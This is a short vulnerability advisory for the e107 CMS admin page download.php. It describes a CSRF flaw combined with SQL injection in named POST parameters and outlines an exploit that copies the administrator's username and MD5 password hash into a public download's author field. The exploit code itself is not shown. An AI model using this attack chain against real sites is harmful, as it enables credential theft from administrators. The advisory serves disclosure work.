-----------------------------------------------------------------------------------------
Description:

Cross-Site Request Forgery vulnerability in the e107_admin/download.php page, which is also vulnerable to SQL injection in the POST form.
The e-token or ac tokens are not used in this page, which results in the CSRF vulnerability. This in itself is not a major security vulnerability but when done in conjunction with a SQL injection attack it can result in complete information disclosure.

The parameters which are vulnerable to SQL injection on this page include: download_url, download_url_extended, download_author_email, download_author_website, download_image, download_thumb, download_visible, download_class.

The following is an exploit containing javascript code that submits a 
POST request on behalf of the administrator once the page is visited. It contains a SQL injection that would provide the username and password (in MD5) of the administrator to be added to the Author Name of a publicly available download.
